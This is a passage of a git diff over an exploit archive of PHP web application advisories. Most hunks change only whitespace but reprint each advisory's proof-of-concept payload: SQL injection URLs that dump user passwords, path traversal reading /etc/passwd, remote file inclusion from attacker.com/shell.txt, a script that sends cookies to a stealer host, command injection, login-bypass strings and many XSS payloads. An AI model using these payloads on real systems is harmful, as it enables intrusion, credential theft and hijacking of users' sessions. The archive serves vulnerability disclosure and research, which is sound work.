+http://www.example.com/[path]/admin/index.php?eventid=-1+union+all+select+1,concat_ws(version(),0x3a,database(),0x3a,user()),3,4,5,6-- \ No newline at end of file diff --git a/platforms/php/webapps/32804.txt b/platforms/php/webapps/32804.txt index c19387c3e..6307852e2 100755 --- a/platforms/php/webapps/32804.txt +++ b/platforms/php/webapps/32804.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include arbitrary remote files containing This issue affects lastRSS autoposting bot MOD 0.1.3; other versions may also be vulnerable. -http://www.example.com/includes/functions_lastrss_autopost.php?config[lastrss_ap_enabled]=1&phpbb_root_path=[evil_code] \ No newline at end of file +http://www.example.com/includes/functions_lastrss_autopost.php?config[lastrss_ap_enabled]=1&phpbb_root_path=[evil_code] \ No newline at end of file diff --git a/platforms/php/webapps/32806.txt b/platforms/php/webapps/32806.txt index f11945e81..225e03191 100755 --- a/platforms/php/webapps/32806.txt +++ b/platforms/php/webapps/32806.txt @@ -4,4 +4,4 @@ Blue Utopia is prone to a local file-include vulnerability because it fails to p An attacker can exploit this vulnerability to view and execute arbitrary local files in the context of the webserver process. This may aid in further attacks. -http://www.example.com/index.php?page=../../../../../../../../../../../../../../.. /../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?page=../../../../../../../../../../../../../../.. /../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/32807.txt b/platforms/php/webapps/32807.txt index 21675ccb8..5e8ee3bfc 100755 --- a/platforms/php/webapps/32807.txt +++ b/platforms/php/webapps/32807.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc gigCalendar 1.0 is vulnerable; other versions may also be affected. http://www.example.com/path/index.php?option=com_gigcal&task=details&gigcal_bands_id=-1' -UNION ALL SELECT 1,2,3,4,5,concat('username: ', username),concat('password: ', password),NULL,NULL,NULL,NULL,NULL,NULL from jos_users%23 \ No newline at end of file +UNION ALL SELECT 1,2,3,4,5,concat('username: ', username),concat('password: ', password),NULL,NULL,NULL,NULL,NULL,NULL from jos_users%23 \ No newline at end of file diff --git a/platforms/php/webapps/32810.txt b/platforms/php/webapps/32810.txt index f7184e26d..eea5c7a3e 100755 --- a/platforms/php/webapps/32810.txt +++ b/platforms/php/webapps/32810.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code would execute in the context of the affec Magento 1.2.0 is vulnerable; other versions may also be affected. -http://www.example.com/downloader/?return=%22%3Cscript%3Ealert('xss')%3C/script%3E \ No newline at end of file +http://www.example.com/downloader/?return=%22%3Cscript%3Ealert('xss')%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/32816.txt b/platforms/php/webapps/32816.txt index 547e51b93..c9577d97f 100755 --- a/platforms/php/webapps/32816.txt +++ b/platforms/php/webapps/32816.txt @@ -4,4 +4,4 @@ Orooj CMS is prone to an SQL-injection vulnerability because it fails to suffici Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/news.php?nid=-1+union+select+1,2,3,4,5,concat(sm_username,char(58),sm_password),7,8,9+from+tbl_site_member \ No newline at end of file +http://www.example.com/news.php?nid=-1+union+select+1,2,3,4,5,concat(sm_username,char(58),sm_password),7,8,9+from+tbl_site_member \ No newline at end of file diff --git a/platforms/php/webapps/32819.txt b/platforms/php/webapps/32819.txt index b60402ca1..045371a07 100755 --- a/platforms/php/webapps/32819.txt +++ b/platforms/php/webapps/32819.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Parsi PHP CMS 2.0.0 is vulnerable; other versions may also be affected. http://www.example.com/[p4th]/index.php?Cat=-9999'+union+select+1,2,3,concat(user_username,char(58),user_password),5,6,7,8,9,10,11,12,13,14,15,16+from+parsiphp_u -ser/* \ No newline at end of file +ser/* \ No newline at end of file diff --git a/platforms/php/webapps/3284.txt b/platforms/php/webapps/3284.txt index e7ed3da39..90ca72b40 100755 --- a/platforms/php/webapps/3284.txt +++ b/platforms/php/webapps/3284.txt @@ -17,7 +17,7 @@ include($path_to_folder.'classes/class.phpmailer.php'); ********** RFI: -http://www.server/path/classes/class_mail.inc.php?path_to_folder=[shell] +http://www.SITE.com/path/classes/class_mail.inc.php?path_to_folder=[shell] **************************************************************************** ********** diff --git a/platforms/php/webapps/32840.txt b/platforms/php/webapps/32840.txt index 29754c140..9e37160ed 100755 --- a/platforms/php/webapps/32840.txt +++ b/platforms/php/webapps/32840.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc http://www.example.com/[Path]/modir Username:admin -Password: ' or ' \ No newline at end of file +Password: ' or ' \ No newline at end of file diff --git a/platforms/php/webapps/32841.txt b/platforms/php/webapps/32841.txt index a7fec09a8..08c594402 100755 --- a/platforms/php/webapps/32841.txt +++ b/platforms/php/webapps/32841.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc CMSCart 1.04 is vulnerable; other versions may also be affected. -http://www.example.com/cmscart/index.php?MenuLevel1=%27 \ No newline at end of file +http://www.example.com/cmscart/index.php?MenuLevel1=%27 \ No newline at end of file diff --git a/platforms/php/webapps/32843.txt b/platforms/php/webapps/32843.txt index c5cb2adfa..a24cf4653 100755 --- a/platforms/php/webapps/32843.txt +++ b/platforms/php/webapps/32843.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Versions prior to TinX CMS 3.5.1 are vulnerable. -http://www.example.com/system/rss.php?id=1'SQL-code \ No newline at end of file +http://www.example.com/system/rss.php?id=1'SQL-code \ No newline at end of file diff --git a/platforms/php/webapps/32844.txt b/platforms/php/webapps/32844.txt index 7a0b3563d..b2af7f308 100755 --- a/platforms/php/webapps/32844.txt +++ b/platforms/php/webapps/32844.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML or JavaScript code could run in the context of the affect PHORTAIL 1.2.1 is vulnerable; other versions may also be affected. -<html><head><title>PHORTAIL v1.2.1 XSS Vulnerability</title></head> <hr><pre> Module : PHORTAIL 1.2.1 download : http://www.phpscripts-fr.net/scripts/download.php?id=330 Vul : XSS Vulnerability file : poster.php Author : Jonathan Salwan Mail : submit [AT] shell-storm.org Web : http://www.shell-storm.org </pre><hr> <form name="rapporter" action="http://www.example.com/poster.php" method="POST"></br> <input type="hidden" name="ajn" value="1"> <input type="text" name="pseudo" value="xss">=>Pseudo</br> <input type="text" name="email" value="xss@xss.com">=>E-mail</br> <input type="text" name="ti" value="<script>alert('xss PoC');</script>">=>XSS vulnerability</br> <input type="text" name="txt" value="xss">=>text</br> <input type="submit" value="Start"></br> </form> </html> \ No newline at end of file +<html><head><title>PHORTAIL v1.2.1 XSS Vulnerability</title></head> <hr><pre> Module : PHORTAIL 1.2.1 download : http://www.phpscripts-fr.net/scripts/download.php?id=330 Vul : XSS Vulnerability file : poster.php Author : Jonathan Salwan Mail : submit [AT] shell-storm.org Web : http://www.shell-storm.org </pre><hr> <form name="rapporter" action="http://www.example.com/poster.php" method="POST"></br> <input type="hidden" name="ajn" value="1"> <input type="text" name="pseudo" value="xss">=>Pseudo</br> <input type="text" name="email" value="xss@xss.com">=>E-mail</br> <input type="text" name="ti" value="<script>alert('xss PoC');</script>">=>XSS vulnerability</br> <input type="text" name="txt" value="xss">=>text</br> <input type="submit" value="Start"></br> </form> </html> \ No newline at end of file diff --git a/platforms/php/webapps/32846.txt b/platforms/php/webapps/32846.txt index 8e93d60ed..b84e17b09 100755 --- a/platforms/php/webapps/32846.txt +++ b/platforms/php/webapps/32846.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Nenriki CMS 0.5 is vulnerable; other versions may also be affected. javascript:document.cookie ="password=1; path=/" then -javascript:document.cookie ="ID=' union select 0,0,0,concat(id,name,char(58),password),0,0 from users--; path=/" \ No newline at end of file +javascript:document.cookie ="ID=' union select 0,0,0,concat(id,name,char(58),password),0,0 from users--; path=/" \ No newline at end of file diff --git a/platforms/php/webapps/32852.txt b/platforms/php/webapps/32852.txt index 095e291e2..3ba8427e8 100755 --- a/platforms/php/webapps/32852.txt +++ b/platforms/php/webapps/32852.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow TikiWiki 2.2 through 3.0 beta1 are vulnerable. -http://www.example.com/tiki-galleries.php/>"><Script>alert(1)</scRipt> \ No newline at end of file +http://www.example.com/tiki-galleries.php/>"><Script>alert(1)</scRipt> \ No newline at end of file diff --git a/platforms/php/webapps/32853.txt b/platforms/php/webapps/32853.txt index 0eb6d5229..5190a760f 100755 --- a/platforms/php/webapps/32853.txt +++ b/platforms/php/webapps/32853.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow TikiWiki 2.2 through 3.0 beta1 are vulnerable. -http://www.example.com/tiki-list_file_gallery.php/>"><Script>alert(2)</scRipt> \ No newline at end of file +http://www.example.com/tiki-list_file_gallery.php/>"><Script>alert(2)</scRipt> \ No newline at end of file diff --git a/platforms/php/webapps/32854.txt b/platforms/php/webapps/32854.txt index 2a207445b..2cd18a88e 100755 --- a/platforms/php/webapps/32854.txt +++ b/platforms/php/webapps/32854.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow TikiWiki 2.2 through 3.0 beta1 are vulnerable. -http://www.example.com/tiki-listpages.php/>"><Script>alert(3)</scRipt> \ No newline at end of file +http://www.example.com/tiki-listpages.php/>"><Script>alert(3)</scRipt> \ No newline at end of file diff --git a/platforms/php/webapps/32868.txt b/platforms/php/webapps/32868.txt index d4f067e08..34b18aa4b 100755 --- a/platforms/php/webapps/32868.txt +++ b/platforms/php/webapps/32868.txt @@ -54,3 +54,4 @@ Discovered by dxw: Tom Adams >>>>>>> 65c687d5cb3c4aa66c28a30a4f2aaf33169dc464 Please visit security.dxw.com for more information. + \ No newline at end of file diff --git a/platforms/php/webapps/32871.txt b/platforms/php/webapps/32871.txt index 18dd1e404..9a51d76f7 100755 --- a/platforms/php/webapps/32871.txt +++ b/platforms/php/webapps/32871.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code would run in the context of the affected ExpressionEngine 1.6.4 through 1.6.6 are affected. Other versions may also be vulnerable. -chococat.gif"><script>alert('XSS')</script><div "a \ No newline at end of file +chococat.gif"><script>alert('XSS')</script><div "a \ No newline at end of file diff --git a/platforms/php/webapps/32872.txt b/platforms/php/webapps/32872.txt index 8addc99c7..e7fa4fbd2 100755 --- a/platforms/php/webapps/32872.txt +++ b/platforms/php/webapps/32872.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc PHPizabi 0.848b C1 HFP1 is vulnerable; other versions may also be affected. -http://www.example.com/?notepad_body=%2527,%20is_moderator%20=%201,%20is_administrator%20=%201,%20is_superadministrator%20=%201%20WHERE%20username%20=%20%2527bookoo%2527/* \ No newline at end of file +http://www.example.com/?notepad_body=%2527,%20is_moderator%20=%201,%20is_administrator%20=%201,%20is_superadministrator%20=%201%20WHERE%20username%20=%20%2527bookoo%2527/* \ No newline at end of file diff --git a/platforms/php/webapps/32873.txt b/platforms/php/webapps/32873.txt index 7d7717a41..8898a8443 100755 --- a/platforms/php/webapps/32873.txt +++ b/platforms/php/webapps/32873.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Versions prior to PHPCMS2008 2009.03.17 are vulnerable. -http://www.example.com/ask/search_ajax.php?q=s%E6'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23 \ No newline at end of file +http://www.example.com/ask/search_ajax.php?q=s%E6'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23 \ No newline at end of file diff --git a/platforms/php/webapps/32875.txt b/platforms/php/webapps/32875.txt index 475d082cf..ed92cdebf 100755 --- a/platforms/php/webapps/32875.txt +++ b/platforms/php/webapps/32875.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Comparison Engine Power 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/comparisonengine/product.comparision.php?cat=null union all select 1,concat_ws(0x3a,id,email,password,nickname),3,4,5 from daype_users_tb--&name=GSM \ No newline at end of file +http://www.example.com/comparisonengine/product.comparision.php?cat=null union all select 1,concat_ws(0x3a,id,email,password,nickname),3,4,5 from daype_users_tb--&name=GSM \ No newline at end of file diff --git a/platforms/php/webapps/32880.txt b/platforms/php/webapps/32880.txt index faf546918..c85f482d4 100755 --- a/platforms/php/webapps/32880.txt +++ b/platforms/php/webapps/32880.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Turnkey eBook Store 1.1 is vulnerable; other versions may also be affected. http://www.example.com/index.php?cmd=search&keywords="><script>alert('XSS')</script> -http://www.example.com/index.php?cmd=search&keywords=<META HTTP-EQUIV="refresh" content="0; URL=http://www.example2.net"> \ No newline at end of file +http://www.example.com/index.php?cmd=search&keywords=<META HTTP-EQUIV="refresh" content="0; URL=http://www.example2.net"> \ No newline at end of file diff --git a/platforms/php/webapps/32887.txt b/platforms/php/webapps/32887.txt index e773e0caa..5cf04f4a8 100755 --- a/platforms/php/webapps/32887.txt +++ b/platforms/php/webapps/32887.txt @@ -11,4 +11,4 @@ osCommerce 3.0 Beta Other versions may also be affected. -http://www.example.com/myapp/index.php?oscid=arbitrarysession \ No newline at end of file +http://www.example.com/myapp/index.php?oscid=arbitrarysession \ No newline at end of file diff --git a/platforms/php/webapps/32889.txt b/platforms/php/webapps/32889.txt index c65a6b9a1..a7003b693 100755 --- a/platforms/php/webapps/32889.txt +++ b/platforms/php/webapps/32889.txt @@ -8,4 +8,4 @@ The attacker can exploit the local file-include issue to execute arbitrary local http://www.example.com/frontend/article.php?aid=-9999+union+all+select+1,2,concat(username,char(58),password),4,5,6,7,8,9,10+from+users-- http://www.example.com/frontend/articles.php?cid=-999+union+all+select+1,2,concat(username,char(58),password),4,5,6,7,8,9,10+from+users-- -http://www.example.com/frontend/index.php?chlang=../../../../etc/services%00 \ No newline at end of file +http://www.example.com/frontend/index.php?chlang=../../../../etc/services%00 \ No newline at end of file diff --git a/platforms/php/webapps/32924.txt b/platforms/php/webapps/32924.txt index 0f972b281..a5dcc2da4 100755 --- a/platforms/php/webapps/32924.txt +++ b/platforms/php/webapps/32924.txt @@ -10,4 +10,4 @@ http://www.example.com/cms/admin/?action=edit&slab=home&#039;><script>alert(&#03 http://www.example.com/cms/admin/?action=showcats&unpub=true&slabID=1&catname=sidebar&#039;><script>alert(&#039;http://yourcookiestealer.org/evil.php?cookie=&#039;%20+%20encodeURI(document.cookie)%20+%20&#039;&useragent=&#039;%20+%20encodeURI(navigator.userAgent));</script><form -http://www.example.com/cms/admin/?action=reordercat&cat=sidebar&#039;><script>alert(&#039;http://yourcookiestealer.org/evil.php?cookie=&#039;%20+%20encodeURI(document.cookie)%20+%20&#039;&useragent=&#039;%20+%20encodeURI(navigator.userAgent));</script><form&param=0,1 \ No newline at end of file +http://www.example.com/cms/admin/?action=reordercat&cat=sidebar&#039;><script>alert(&#039;http://yourcookiestealer.org/evil.php?cookie=&#039;%20+%20encodeURI(document.cookie)%20+%20&#039;&useragent=&#039;%20+%20encodeURI(navigator.userAgent));</script><form&param=0,1 \ No newline at end of file diff --git a/platforms/php/webapps/32928.txt b/platforms/php/webapps/32928.txt index 55f557e39..77c84d759 100755 --- a/platforms/php/webapps/32928.txt +++ b/platforms/php/webapps/32928.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to view and execute arbitrary local f Malleo 1.2.3 is vulnerable; other versions may also be affected. -http://www.example.com/path/admin.php?module=../../../../../etc/passwd \ No newline at end of file +http://www.example.com/path/admin.php?module=../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/32930.txt b/platforms/php/webapps/32930.txt index 86755e714..015b3e8b7 100755 --- a/platforms/php/webapps/32930.txt +++ b/platforms/php/webapps/32930.txt @@ -37,7 +37,7 @@ [o] PoC - http://server/[path]/plugins/filebrowser/classes/required_classes.php?pth[folder][plugin]=http://attacker.com/shell.txt? + http://target.com/[path]/plugins/filebrowser/classes/required_classes.php?pth[folder][plugin]=http://attacker.com/shell.txt? ============================================================================================================= diff --git a/platforms/php/webapps/32932.txt b/platforms/php/webapps/32932.txt index 922571ce2..5e9adb65e 100755 --- a/platforms/php/webapps/32932.txt +++ b/platforms/php/webapps/32932.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Online Photo Pro 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?section=<script>alert(123)</script> \ No newline at end of file +http://www.example.com/index.php?section=<script>alert(123)</script> \ No newline at end of file diff --git a/platforms/php/webapps/32937.txt b/platforms/php/webapps/32937.txt index f03ed2f58..2fe033f5b 100755 --- a/platforms/php/webapps/32937.txt +++ b/platforms/php/webapps/32937.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Online Contact Manager 3.0 is vulnerable; other versions may also be affected. -http://www.example.com/delete.php?id=+<script>alert(123)</script> \ No newline at end of file +http://www.example.com/delete.php?id=+<script>alert(123)</script> \ No newline at end of file diff --git a/platforms/php/webapps/32948.txt b/platforms/php/webapps/32948.txt index 1bc0d6e73..eea8a0842 100755 --- a/platforms/php/webapps/32948.txt +++ b/platforms/php/webapps/32948.txt @@ -8,4 +8,4 @@ New5starRating 1.0 is vulnerable; other versions may also be affected. Supplying the following to the vulnerable script is sufficient to exploit this issue: -Username : admin 'or' 1=1 \ No newline at end of file +Username : admin 'or' 1=1 \ No newline at end of file diff --git a/platforms/php/webapps/32950.txt b/platforms/php/webapps/32950.txt index 83acfd60e..6f0ed52a6 100755 --- a/platforms/php/webapps/32950.txt +++ b/platforms/php/webapps/32950.txt @@ -4,4 +4,4 @@ Flat Calendar is prone to an HTML-injection vulnerability because it fails to su Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible. -"><script>alert("ZoRLu")</script> \ No newline at end of file +"><script>alert("ZoRLu")</script> \ No newline at end of file diff --git a/platforms/php/webapps/32952.txt b/platforms/php/webapps/32952.txt index 6d00bc982..1d08dc64c 100755 --- a/platforms/php/webapps/32952.txt +++ b/platforms/php/webapps/32952.txt @@ -4,4 +4,4 @@ CS Whois Lookup is prone to a remote command-execution vulnerability because the Successful attacks can compromise the affected software and possibly the computer. -http://www.example.com/path/index.php?ip=||whoami \ No newline at end of file +http://www.example.com/path/index.php?ip=||whoami \ No newline at end of file diff --git a/platforms/php/webapps/32958.txt b/platforms/php/webapps/32958.txt index 3ae6a2fb8..c037ee303 100755 --- a/platforms/php/webapps/32958.txt +++ b/platforms/php/webapps/32958.txt @@ -4,4 +4,4 @@ MataChat is prone to multiple cross-site scripting vulnerabilities because it fa An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials. -http://www.example.com/[path]/input.php?nickname=[XSS]&color=[XSS] \ No newline at end of file +http://www.example.com/[path]/input.php?nickname=[XSS]&color=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/32960.txt b/platforms/php/webapps/32960.txt index caf55a599..495749a70 100755 --- a/platforms/php/webapps/32960.txt +++ b/platforms/php/webapps/32960.txt @@ -10,4 +10,4 @@ The following example data and URI are available: [email]qwe@[twitter]dodo style=`top:expr/* */ession/*bypassed*/(alert(/yahoo/))`do[/twitter]example.com[/email] -http://www.example.com/index.php?app=core&module=ajax&section=register&do=check-display-name&name[]= \ No newline at end of file +http://www.example.com/index.php?app=core&module=ajax&section=register&do=check-display-name&name[]= \ No newline at end of file diff --git a/platforms/php/webapps/32963.txt b/platforms/php/webapps/32963.txt index 1b4c4b162..dd22b9542 100755 --- a/platforms/php/webapps/32963.txt +++ b/platforms/php/webapps/32963.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to Coppermine Photo Gallery 1.4.22 are vulnerable. -http://www.example.com/docs/showdoc.php?css=1>"><ScRiPt%20%0a%0d>alert(123)%3B</ScRiPt> \ No newline at end of file +http://www.example.com/docs/showdoc.php?css=1>"><ScRiPt%20%0a%0d>alert(123)%3B</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/32966.txt b/platforms/php/webapps/32966.txt index da265578a..18ec554b2 100755 --- a/platforms/php/webapps/32966.txt +++ b/platforms/php/webapps/32966.txt @@ -6,4 +6,4 @@ An attacker may leverage the HTML-injection issue to execute arbitrary script co MyBB 1.4.5 is vulnerable; other versions may also be affected. -http://www.example.com/somefile.png?"><script>alert('xss')</script> \ No newline at end of file +http://www.example.com/somefile.png?"><script>alert('xss')</script> \ No newline at end of file diff --git a/platforms/php/webapps/32969.txt b/platforms/php/webapps/32969.txt index 290ef7970..49e9c1db7 100755 --- a/platforms/php/webapps/32969.txt +++ b/platforms/php/webapps/32969.txt @@ -4,4 +4,4 @@ IceWarp Merak Mail Server is prone to a cross-site scripting vulnerability becau An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks. -<img src=&#x26;&#x23;&#x78;&#x36;&#x61;&#x3b;&#x26;&#x23;&#x78;&#x36; &#x31;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x36;&#x3b;&#x26;&#x23;&#x78; &#x36;&#x31;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x33;&#x3b;&#x26;&#x23; &#x78;&#x36;&#x33;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x32;&#x3b;&#x26; &#x23;&#x78;&#x36;&#x39;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x30;&#x3b; &#x26;&#x23;&#x78;&#x37;&#x34;&#x3b;&#x26;&#x23;&#x78;&#x33;&#x61; &#x3b;&#x26;&#x23;&#x78;&#x36;&#x31;&#x3b;&#x26;&#x23;&#x78;&#x36; &#x63;&#x3b;&#x26;&#x23;&#x78;&#x36;&#x35;&#x3b;&#x26;&#x23;&#x78; &#x37;&#x32;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x34;&#x3b;&#x26;&#x23; &#x78;&#x32;&#x38;&#x3b;&#x26;&#x23;&#x78;&#x33;&#x34;&#x3b;&#x26; &#x23;&#x78;&#x33;&#x32;&#x3b;&#x26;&#x23;&#x78;&#x32;&#x39;&#x3b;> \ No newline at end of file +<img src=&#x26;&#x23;&#x78;&#x36;&#x61;&#x3b;&#x26;&#x23;&#x78;&#x36; &#x31;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x36;&#x3b;&#x26;&#x23;&#x78; &#x36;&#x31;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x33;&#x3b;&#x26;&#x23; &#x78;&#x36;&#x33;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x32;&#x3b;&#x26; &#x23;&#x78;&#x36;&#x39;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x30;&#x3b; &#x26;&#x23;&#x78;&#x37;&#x34;&#x3b;&#x26;&#x23;&#x78;&#x33;&#x61; &#x3b;&#x26;&#x23;&#x78;&#x36;&#x31;&#x3b;&#x26;&#x23;&#x78;&#x36; &#x63;&#x3b;&#x26;&#x23;&#x78;&#x36;&#x35;&#x3b;&#x26;&#x23;&#x78; &#x37;&#x32;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x34;&#x3b;&#x26;&#x23; &#x78;&#x32;&#x38;&#x3b;&#x26;&#x23;&#x78;&#x33;&#x34;&#x3b;&#x26; &#x23;&#x78;&#x33;&#x32;&#x3b;&#x26;&#x23;&#x78;&#x32;&#x39;&#x3b;> \ No newline at end of file diff --git a/platforms/php/webapps/32988.txt b/platforms/php/webapps/32988.txt index 34598db6d..2b0997fa9 100755 --- a/platforms/php/webapps/32988.txt +++ b/platforms/php/webapps/32988.txt @@ -9,4 +9,4 @@ The issues affect VerliAdmin 0.3.7 and 0.3.8; other versions may also be affecte http//www.example.com/index.php?q=bantest&nick="><script>alert(String.fromCharCode(88,83,83))</script> http//www.example.com/index.php?nick="'/><script>alert(String.fromCharCode(88,83,83))</script> http//www.example.com/index.php?q="'/><script>alert(String.fromCharCode(88,83,83))</script> -http//www.example.com/index.php?"'/><script>alert(String.fromCharCode(88,83,83))</script> \ No newline at end of file +http//www.example.com/index.php?"'/><script>alert(String.fromCharCode(88,83,83))</script> \ No newline at end of file diff --git a/platforms/php/webapps/32989.txt b/platforms/php/webapps/32989.txt index 0aa86accb..e6f74bf1e 100755 --- a/platforms/php/webapps/32989.txt +++ b/platforms/php/webapps/32989.txt @@ -8,4 +8,4 @@ The issues affect Verlihub Control Panel 1.7e; other versions may also be affect http://www.example.com/index.php?page=login&nick="><script>alert("Vulnerable");</script> http://www.example.com/index.php?page=login&nick="><iframe src= -http://www.example.com/index.html?news></iframe> \ No newline at end of file +http://www.example.com/index.html?news></iframe> \ No newline at end of file diff --git a/platforms/php/webapps/32991.txt b/platforms/php/webapps/32991.txt index c5c181818..fb2c2f0cb 100755 --- a/platforms/php/webapps/32991.txt +++ b/platforms/php/webapps/32991.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Claroline 1.8.11 is vulnerable; other versions may also be affected. -http://www.example.com/referer/?"><script>alert(123)</script><a%20href=" \ No newline at end of file +http://www.example.com/referer/?"><script>alert(123)</script><a%20href=" \ No newline at end of file diff --git a/platforms/php/webapps/32992.txt b/platforms/php/webapps/32992.txt index 8d5191ff6..1be0ce7a0 100755 --- a/platforms/php/webapps/32992.txt +++ b/platforms/php/webapps/32992.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML or JavaScript code could run in the context of the affect MagpieRSS 0.72 is vulnerable; other versions may also be affected. -http://www.example.com/magpierss-0.72/scripts/magpie_debug.php?url=%22%3E%3Cscript%3Ealert(%27xss%27);%3C/script http://www.example.com/magpierss-0.72/scripts/magpie_simple.php?url=%22%3E%3Cscript%3Ealert(%27xss%27);%3C/script <?xml version="1.0" encoding="utf-8"?> <rss version="2.0" xml:base="http://www.example.com" xmlns:dc="http://purl.org/dc/elements/1.1/"> <channel> <title>Justin.MadIrish.net <script>alert('xss title');</script>- Justin&#039;s Personal Homepage</title> <link>http://www.example.com</link> <description>Close personal friends with Evil Eve.</description> <language>en</language> <item> <title>Disturbing<script>alert('xss title');</script> XSS<script>alert('xss title');</script></title> <link>http://www.example.com/node/343 <script>alert('xss link');</script></link> <description>foobar</description> <pubDate>Wed, 04 Mar 2009 13:42:09 +0000</pubDate> <dc:creator>justin</dc:creator> <guid isPermaLink="false">343 at http://www.example.com</guid> </item> </channel> </rss> \ No newline at end of file +http://www.example.com/magpierss-0.72/scripts/magpie_debug.php?url=%22%3E%3Cscript%3Ealert(%27xss%27);%3C/script http://www.example.com/magpierss-0.72/scripts/magpie_simple.php?url=%22%3E%3Cscript%3Ealert(%27xss%27);%3C/script <?xml version="1.0" encoding="utf-8"?> <rss version="2.0" xml:base="http://www.example.com" xmlns:dc="http://purl.org/dc/elements/1.1/"> <channel> <title>Justin.MadIrish.net <script>alert('xss title');</script>- Justin&#039;s Personal Homepage</title> <link>http://www.example.com</link> <description>Close personal friends with Evil Eve.</description> <language>en</language> <item> <title>Disturbing<script>alert('xss title');</script> XSS<script>alert('xss title');</script></title> <link>http://www.example.com/node/343 <script>alert('xss link');</script></link> <description>foobar</description> <pubDate>Wed, 04 Mar 2009 13:42:09 +0000</pubDate> <dc:creator>justin</dc:creator> <guid isPermaLink="false">343 at http://www.example.com</guid> </item> </channel> </rss> \ No newline at end of file diff --git a/platforms/php/webapps/32993.txt b/platforms/php/webapps/32993.txt index b3fdbcaf4..dc5883be0 100755 --- a/platforms/php/webapps/32993.txt +++ b/platforms/php/webapps/32993.txt @@ -12,4 +12,4 @@ Dacio's Image Gallery 1.6 is vulnerable; other versions may also be affected. The following example URI for the directory-traversal vulnerability is available: -http://www.example.com/Dacio_imgGal-v1.6/index.php?gallery=../config.inc%00 \ No newline at end of file +http://www.example.com/Dacio_imgGal-v1.6/index.php?gallery=../config.inc%00 \ No newline at end of file diff --git a/platforms/php/webapps/32999.py b/platforms/php/webapps/32999.py index 95d3a6a70..1514afbcc 100755 --- a/platforms/php/webapps/32999.py +++ b/platforms/php/webapps/32999.py @@ -27,7 +27,7 @@ target = sys.argv[1] path = sys.argv[2] if len(sys.argv) > 3: - print "Usage : python bonfire server /path/" + print "Usage : python bonfire www.target.com /path/" exit(0) content = urllib2.urlopen(target+path+"index.php/install/do_install").read() diff --git a/platforms/php/webapps/33000.txt b/platforms/php/webapps/33000.txt index 6d4250d23..af30311ea 100755 --- a/platforms/php/webapps/33000.txt +++ b/platforms/php/webapps/33000.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to Cacti 0.8.7b are vulnerable. -http://www.example.com/cacti/data_input.php?action="><SCRIPT>alert("XSS")</SCRIPT> \ No newline at end of file +http://www.example.com/cacti/data_input.php?action="><SCRIPT>alert("XSS")</SCRIPT> \ No newline at end of file diff --git a/platforms/php/webapps/33002.txt b/platforms/php/webapps/33002.txt index bffe2c7e3..134c3bfc6 100755 --- a/platforms/php/webapps/33002.txt +++ b/platforms/php/webapps/33002.txt @@ -10,4 +10,4 @@ Profense 2.4.4 Profense 2.2.22 http://www.example.com/phptest/xss.php?var=%3CEvil%20script%20goes%20here%3E=%0AByPass -http://www.example.com/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E \ No newline at end of file +http://www.example.com/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E \ No newline at end of file diff --git 